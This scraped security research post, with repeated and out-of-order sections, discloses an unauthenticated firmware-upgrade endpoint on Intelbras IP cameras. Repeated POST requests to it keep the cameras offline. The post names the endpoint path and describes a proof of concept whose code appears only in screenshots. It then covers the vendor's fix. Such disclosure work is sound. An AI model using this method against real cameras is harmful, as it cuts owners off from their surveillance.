https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100237/intelbras-new-scheme-1.png 1075w" title="intelbras-new-scheme-1" width="1024" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a></p> <h2 id="affected-endpoint">Affected endpoint</h2> <p>The affected endpoint is the firmware upgrade route <em>http://&lt;ip_address&gt;/firmwareUpgrade_service/Demo</em>, which lacks authentication checks; furthermore, it fails to verify whether the firmware is actually valid before initiating the upgrade process. This creates a serious issue because the upgrade requires the camera to reboot, and that is precisely when the problem occurs: the camera enters reboot mode and eventually shuts down, appearing offline to the user and anyone who has the camera registered on their device.</p> <p><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100303/intelbras-new-scheme-2.png"><img alt="" class="alignnone size-large wp-image-121659" decoding="async" height="660" sizes="auto, (max-width: 1024px) 100vw, 1024px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100303/intelbras-new-scheme-2-1024x660.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100303/intelbras-new-scheme-2-1024x660.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100303/intelbras-new-scheme-2-300x193.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100303/intelbras-new-scheme-2-768x495.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100303/intelbras-new-scheme-2-1536x991.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100303/intelbras-new-scheme-2-543x350.png 543w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100303/intelbras-new-scheme-2-740x477.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100303/intelbras-new-scheme-2-434x280.png 434w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100303/intelbras-new-scheme-2-800x516.png 800w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100303/intelbras-new-scheme-2.png 1752w" title="intelbras-new-scheme-2" width="1024" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a></p> <h2 id="poc-vulnerability-exploitation">PoC: vulnerability exploitation</h2> <p>Now that we have outlined how the vulnerability works, we will use a Python script on an <em>iM3B-C </em>camera to exploit it for demonstration purposes. The exploit contacts the camera’s endpoint to upload firmware. Below, we can see <code>sonia</code> creating the endpoint responsible for the firmware upgrade.</p> <p><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134920/intelbras-camera-vulnerability4.png"><img alt="" class="aligncenter size-full wp-image-121192" decoding="async" height="139" sizes="auto, (max-width: 1005px) 100vw, 1005px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134920/intelbras-camera-vulnerability4.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134920/intelbras-camera-vulnerability4.png 1005w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134920/intelbras-camera-vulnerability4-300x41.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134920/intelbras-camera-vulnerability4-768x106.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134920/intelbras-camera-vulnerability4-740x102.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134920/intelbras-camera-vulnerability4-800x111.png 800w" width="1005" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a></p> <p>Next, the exploit will hit the endpoint and cause the camera to reboot. Consequently, mobile phones running the Intelbras app will lose connection with the registered device. Below, we can see the camera operating normally: the green light is on and the app is showing it is available for viewing.</p> <div class="wp-caption aligncenter" id="attachment_121193-2" style="width: 2058px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135031/intelbras-camera-vulnerability5.png"><img alt="The camera is online" aria-describedby="caption-attachment-121193-2" class="size-full wp-image-121193" decoding="async" height="863" sizes="auto, (max-width: 2048px) 100vw, 2048px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135031/intelbras-camera-vulnerability5.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135031/intelbras-camera-vulnerability5.png 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135031/intelbras-camera-vulnerability5-300x126.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135031/intelbras-camera-vulnerability5-1024x432.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135031/intelbras-camera-vulnerability5-768x324.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135031/intelbras-camera-vulnerability5-1536x647.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135031/intelbras-camera-vulnerability5-831x350.png 831w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135031/intelbras-camera-vulnerability5-740x312.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135031/intelbras-camera-vulnerability5-664x280.png 664w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135031/intelbras-camera-vulnerability5-800x337.png 800w" width="2048" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121193-2">The camera is online</p></div> <p>After the exploit executes, we can see the effects: the camera goes offline and loses connection to the registered devices.</p> <div class="wp-caption aligncenter" id="attachment_121194-2" style="width: 2058px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135112/intelbras-camera-vulnerability6.png"><img alt="The camera is offline" aria-describedby="caption-attachment-121194-2" class="size-full wp-image-121194" decoding="async" height="812" sizes="auto, (max-width: 2048px) 100vw, 2048px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135112/intelbras-camera-vulnerability6.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135112/intelbras-camera-vulnerability6.png 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135112/intelbras-camera-vulnerability6-300x119.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135112/intelbras-camera-vulnerability6-1024x406.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135112/intelbras-camera-vulnerability6-768x305.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135112/intelbras-camera-vulnerability6-1536x609.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135112/intelbras-camera-vulnerability6-883x350.png 883w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135112/intelbras-camera-vulnerability6-740x293.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135112/intelbras-camera-vulnerability6-706x280.png 706w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135112/intelbras-camera-vulnerability6-800x317.png 800w" width="2048" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121194-2">The camera is offline</p></div> <p>The exploit is quite simple: it sends an <em>HTTP POST</em> request with the firmware, which causes the camera to accept the request and initiate the reboot process. It does not matter whether the firmware is original; the reboot process will start regardless.</p> <p><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135148/intelbras-camera-vulnerability7.png"><img alt="" class="aligncenter size-full wp-image-121195" decoding="async" height="1059" sizes="auto, (max-width: 2048px) 100vw, 2048px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135148/intelbras-camera-vulnerability7.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135148/intelbras-camera-vulnerability7.png 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135148/intelbras-camera-vulnerability7-300x155.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135148/intelbras-camera-vulnerability7-1024x530.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135148/intelbras-camera-vulnerability7-768x397.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135148/intelbras-camera-vulnerability7-1536x794.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135148/intelbras-camera-vulnerability7-677x350.png 677w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135148/intelbras-camera-vulnerability7-740x383.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135148/intelbras-camera-vulnerability7-541x280.png 541w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135148/intelbras-camera-vulnerability7-800x414.png 800w" width="2048" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a></p> <h2 id="new-firmware-version">New firmware version</h2> <p>After we notified Intelbras about this flaw in the endpoint implementation, the company contacted the OEM vendor. As a result, a new firmware version was released that requires authentication to initiate an update through this endpoint.</p> <p>Below, we can compare the new firmware, which validates <em>cookies</em> and <em>session</em> data, with the old firmware, which performed no authentication checks and proceeded directly to the update routine.</p> <p><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135231/intelbras-camera-vulnerability8.png"><img alt="" class="aligncenter size-full wp-image-121196" decoding="async" height="803" sizes="auto, (max-width: 2048px) 100vw, 2048px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135231/intelbras-camera-vulnerability8.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135231/intelbras-camera-vulnerability8.png 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135231/intelbras-camera-vulnerability8-300x118.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135231/intelbras-camera-vulnerability8-1024x402.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135231/intelbras-camera-vulnerability8-768x301.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135231/intelbras-camera-vulnerability8-1536x602.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135231/intelbras-camera-vulnerability8-893x350.png 893w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135231/intelbras-camera-vulnerability8-740x290.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135231/intelbras-camera-vulnerability8-714x280.png 714w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135231/intelbras-camera-vulnerability8-800x314.png 800w" width="2048" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a></p> <h2 id="real-risk">Real risk</h2> <p>An attacker can remotely trigger the camera firmware upgrade and reboot process without authenticating or supplying a valid firmware image. This may cause the device to go offline, which results in a denial-of-service condition preventing legitimate users from accessing live monitoring or managing the camera.</p> <p>The potential impact is significant due to the number of affected users. The <a href="https://platform.foxdata.com/en/app-profile/br.com.intelbras.mibocam/US/gp" rel="noopener" target="_blank">Intelbras Mibo Smart app</a>, which the company provides to connect and manage the devices mentioned in this report, has over 4,000,000 downloads. Brazil represents the largest user base, followed by Paraguay, Ecuador, Colombia, Argentina, Chile, Peru, Bolivia, Uruguay, and Venezuela. As a result, exploitation of this issue affects a large number of users.</p> <h2 id="takeaways">Takeaways</h2> <p>This is a medium-severity vulnerability that Intelbras is already aware of. The issue has been addressed in a newer firmware release (<a href="https://api-cronos.intelbras.com.br/download/MIBO-CAM-SD/CAMERASIM/prod/CAMERASIM-2.800.260804-2bff9ef9d4fddd76f271ff846a5c7dad.260804.zip">R.260804</a> along with <a href="https://backend.intelbras.com/sites/default/files/2026-10/Atualizacao_firmware_Cameras_im_C_cartao_sd.pdf">update instructions</a>), which mitigates this attack vector. Because the vulnerability directly affects the availability and normal operation of the affected cameras, it is highly recommended that users verify the firmware version currently installed on their devices and update to the latest available version as soon as possible. Keeping the firmware up to date is an essential security practice, especially for internet-connected surveillance devices, as outdated versions may remain exposed to known vulnerabilities.</p> </div> </div> </div> <!-- .entry-comments --> </div> </div> </div> <img src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/13144449/IP-cameras-vulner-Intelbras-scaled.jpg" width="300" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> <div class="c-article__main"> <div class="o-row c-article__container"> <div class="o-col c-article__content js-article-body"> <div class="js-reading-wrapper"> <figure class="c-article__figure u-hidden u-block@md"> <img alt="" class="attachment-securelist-2020-thumbnail-large size-securelist-2020-thumbnail-large wp-post-image" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/13144449/IP-cameras-vulner-Intelbras-1200x600.jpg" data-srcset="" decoding="async" height="600" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/13144449/IP-cameras-vulner-Intelbras-1200x600.jpg" srcset="" width="1200" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> </figure> <div class="c-article__authors u-hidden u-block@md"> <p class="c-block__title">Authors</p> <ul class="c-list-authors"> <li> <a href="https://securelist.com/author/joaovictor/"> <span>João Victor</span></a> </li> </ul> </div> <div class="js-reading-content"> <div class="c-wysiwyg"> <h2 id="background">Background</h2> <p>Network-connected surveillance cameras are now widespread in both home and enterprise environments, so securing them is essential to safeguarding physical spaces and sensitive assets. As these devices continue to gain new features and network connectivity capabilities, vulnerabilities in their implementation can have significant security implications.</p> <p>During our research, we discovered a denial-of-service vulnerability that affects Intelbras IP cameras systems. The flaw resides in a firmware update endpoint that is accessible without authentication and allows anyone with access to the local Wi-Fi network to knock cameras offline. A single request disrupts the camera for only about a minute, but sending periodic requests keeps the device offline indefinitely. We reported the issue to Intelbras, monitored the remediation process, validated the fix in the new firmware, and will now demonstrate the exploitation procedure step-by-step.</p> <p>Following our notification, Intelbras patched the vulnerability and released updated firmware (<a href="https://api-cronos.intelbras.com.br/download/MIBO-CAM-SD/CAMERASIM/prod/CAMERASIM-2.800.260804-2bff9ef9d4fddd76f271ff846a5c7dad.260804.zip" rel="nofollow noopener noreferrer" target="_blank">R.260804</a>) along with <a href="https://backend.intelbras.com/sites/default/files/2026-10/Atualizacao_firmware_Cameras_im_C_cartao_sd.pdf" rel="nofollow noopener noreferrer" target="_blank">update instructions</a>. A candidate ID of CAN-2026-2035970 has been assigned by MITRE following submission, pending the final CVE assignment. Additionally, the Intelbras team recently informed us that MITRE has classified the vulnerability as Medium, assigning it a score of 5.1 under the CVSS 4.0 framework. The issue discussed in this article is no longer present in the latest firmware version.</p> <h2 id="firmware">Firmware</h2> <p>Intelbras provides firmware files on its official website. While users can manually install these updates via an SD card, the cameras also natively support firmware upgrades over the local network via their web interface and mobile app. We obtained the firmware version v240927 for the iM3B-C (IM3 C) camera, which was the latest available version at the time of our research. According to Intelbras, the same firmware is also compatible with the iMX C, iM4 C, iM5 SC, iME 360 C, and iM7+ FC models. Below, we can view the firmware version and the camera model used as an example.</p> <p><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134559/intelbras-camera-vulnerability1.png"><img alt="" class="aligncenter size-full wp-image-121189" decoding="async" height="625" sizes="auto, (max-width: 2048px) 100vw, 2048px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134559/intelbras-camera-vulnerability1.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134559/intelbras-camera-vulnerability1.png 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134559/intelbras-camera-vulnerability1-300x92.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134559/intelbras-camera-vulnerability1-1024x313.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134559/intelbras-camera-vulnerability1-768x234.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134559/intelbras-camera-vulnerability1-1536x469.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134559/intelbras-camera-vulnerability1-1147x350.png 1147w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134559/intelbras-camera-vulnerability1-740x226.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134559/intelbras-camera-vulnerability1-918x280.png 918w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134559/intelbras-camera-vulnerability1-800x244.png 800w" width="2048" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a></p> <p>To provide context, we will explain how the camera’s authentication mechanism works and why it is relevant to accessing the camera’s endpoints. The main firmware component is an ARM binary named <code>sonia</code>, responsible for controlling the kernel drivers used by the camera hardware, authentication, and livestream recording, among other things.</p> <h2 id="how-authentication-works">How authentication works</h2> <p>The <code>global.login</code> RPC method handles authentication at the <code><em>/RPC2_Login</em></code> endpoint. First, the client, such as the mobile app or a custom script, sends the username and an empty password. The camera responds with an authentication <code>challenge</code> (a set of values to verify the password without transmitting it). This response returns a temporary session, the encryption type in the <code>encryption</code> field, a random value, and a <code>realm</code> (authentication scope). At this stage, a <code>false</code> response is normal and does not indicate a failed login, as the authentication process is not yet complete.</p> <p>Next, the client calculates the response password from the authentication <code>challenge</code>. It first generates an <em>MD5 (username:realm:original_password)</em> hash as the base. It then calculates a second MD5<em> (username:random:first_md5)</em> hash,  where<em> first_md5 </em>is the result of the previous step<em>.</em> To complete the authentication, the client sends this final result back to <code><em>/RPC2_Login</em></code> in a second <code>global.login</code> call, passing the username, calculated password, and temporary session ID.</p> <p>If the login is accepted, the camera returns <code>true</code> and a new, authenticated session. This session must be used for all subsequent RPC calls, including the camera’s other endpoints, for example, the one that reboots the device or those that expose sensitive information.</p> <p><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100237/intelbras-new-scheme-1.png"><img alt="" class="alignnone size-large wp-image-121658" decoding="async" height="778" sizes="auto, (max-width: 1024px) 100vw, 1024px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100237/intelbras-new-scheme-1-1024x778.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100237/intelbras-new-scheme-1-1024x778.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100237/intelbras-new-scheme-1-300x228.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100237/intelbras-new-scheme-1-768x584.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100237/intelbras-new-scheme-1-461x350.png 461w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100237/intelbras-new-scheme-1-740x562.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100237/intelbras-new-scheme-1-368x280.png 368w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100237/intelbras-new-scheme-1-800x608.png 800w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100237/intelbras-new-scheme-1.png 1075w" title="intelbras-new-scheme-1" width="1024" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a></p> <h2 id="affected-endpoint">Affected endpoint</h2> <p>The affected endpoint is the firmware upgrade route <em>http://&lt;ip_address&gt;/firmwareUpgrade_service/Demo</em>, which lacks authentication checks; furthermore, it fails to verify whether the firmware is actually valid before initiating the upgrade process. This creates a serious issue because the upgrade requires the camera to reboot, and that is precisely when the problem occurs: the camera enters reboot mode and eventually shuts down, appearing offline to the user and anyone who has the camera registered on their device.</p> <p><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100303/intelbras-new-scheme-2.png"><img alt="" class="alignnone size-large wp-image-121659" decoding="async" height="660" sizes="auto, (max-width: 1024px) 100vw, 1024px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100303/intelbras-new-scheme-2-1024x660.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100303/intelbras-new-scheme-2-1024x660.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100303/intelbras-new-scheme-2-300x193.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100303/intelbras-new-scheme-2-768x495.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100303/intelbras-new-scheme-2-1536x991.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100303/intelbras-new-scheme-2-543x350.png 543w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100303/intelbras-new-scheme-2-740x477.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100303/intelbras-new-scheme-2-434x280.png 434w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100303/intelbras-new-scheme-2-800x516.png 800w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100303/intelbras-new-scheme-2.png 1752w" title="intelbras-new-scheme-2" width="1024" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a></p> <h2 id="poc-vulnerability-exploitation">PoC: vulnerability exploitation</h2> <p>Now that we have outlined how the vulnerability works, we will use a Python script on an <em>iM3B-C </em>camera to exploit it for demonstration purposes. The exploit contacts the camera’s endpoint to upload firmware. Below, we can see <code>sonia</code> creating the endpoint responsible for the firmware upgrade.</p> <p><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134920/intelbras-camera-vulnerability4.png"><img alt="" class="aligncenter size-full wp-image-121192" decoding="async" height="139" sizes="auto, (max-width: 1005px) 100vw, 1005px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134920/intelbras-camera-vulnerability4.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134920/intelbras-camera-vulnerability4.png 1005w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134920/intelbras-camera-vulnerability4-300x41.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134920/intelbras-camera-vulnerability4-768x106.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134920/intelbras-camera-vulnerability4-740x102.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134920/intelbras-camera-vulnerability4-800x111.png 800w" width="1005" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a></p> <p>Next, the exploit will hit the endpoint and cause the camera to reboot. Consequently, mobile phones running the Intelbras app will lose connection with the registered device. Below, we can see the camera operating normally: the green light is on and the app is showing it is available for viewing.</p> <div class="wp-caption aligncenter" id="attachment_121193-2" style="width: 2058px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135031/intelbras-camera-vulnerability5.png"><img alt="The camera is online" aria-describedby="caption-attachment-121193-2" class="size-full wp-image-121193" decoding="async" height="863" sizes="auto, (max-width: 2048px) 100vw, 2048px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135031/intelbras-camera-vulnerability5.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135031/intelbras-camera-vulnerability5.png 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135031/intelbras-camera-vulnerability5-300x126.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135031/intelbras-camera-vulnerability5-1024x432.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135031/intelbras-camera-vulnerability5-768x324.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135031/intelbras-camera-vulnerability5-1536x647.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135031/intelbras-camera-vulnerability5-831x350.png 831w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135031/intelbras-camera-vulnerability5-740x312.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135031/intelbras-camera-vulnerability5-664x280.png 664w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135031/intelbras-camera-vulnerability5-800x337.png 800w" width="2048" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121193-2">The camera is online</p></div> <p>After the exploit executes, we can see the effects: the camera goes offline and loses connection to the registered devices.</p> <div class="wp-caption aligncenter" id="attachment_121194-2" style="width: 2058px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135112/intelbras-camera-vulnerability6.png"><img alt="The camera is offline" aria-describedby="caption-attachment-121194-2" class="size-full wp-image-121194" decoding="async" height="812" sizes="auto, (max-width: 2048px) 100vw, 2048px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135112/intelbras-camera-vulnerability6.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135112/intelbras-camera-vulnerability6.png 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135112/intelbras-camera-vulnerability6-300x119.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135112/intelbras-camera-vulnerability6-1024x406.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135112/intelbras-camera-vulnerability6-768x305.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135112/intelbras-camera-vulnerability6-1536x609.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135112/intelbras-camera-vulnerability6-883x350.png 883w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135112/intelbras-camera-vulnerability6-740x293.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135112/intelbras-camera-vulnerability6-706x280.png 706w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135112/intelbras-camera-vulnerability6-800x317.png 800w" width="2048" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121194-2">The camera is offline</p></div> <p>The exploit is quite simple: it sends an <em>HTTP POST</em> request with the firmware, which causes the camera to accept the request and initiate the reboot process. It does not matter whether the firmware is original; the reboot process will start regardless.</p> <p><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135148/intelbras-camera-vulnerability7.png"><img alt="" class="aligncenter size-full wp-image-121195" decoding="async" height="1059" sizes="auto, (max-width: 2048px) 100vw, 2048px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135148/intelbras-camera-vulnerability7.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135148/intelbras-camera-vulnerability7.png 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135148/intelbras-camera-vulnerability7-300x155.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135148/intelbras-camera-vulnerability7-1024x530.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135148/intelbras-camera-vulnerability7-768x397.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135148/intelbras-camera-vulnerability7-1536x794.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135148/intelbras-camera-vulnerability7-677x350.png 677w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135148/intelbras-camera-vulnerability7-740x383.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135148/intelbras-camera-vulnerability7-541x280.png 541w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135148/intelbras-camera-vulnerability7-800x414.png 800w" width="2048" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a></p> <h2 id="new-firmware-version">New firmware version</h2> <p>After we notified Intelbras about this flaw in the endpoint implementation, the company contacted the OEM vendor. As a result, a new firmware version was released that requires authentication to initiate an update through this endpoint.</p> <p>Below, we can compare the new firmware, which validates <em>cookies</em> and <em>session</em> data, with the old firmware, which performed no authentication checks and proceeded directly to the update routine.</p> <p><a class="magnificImage" 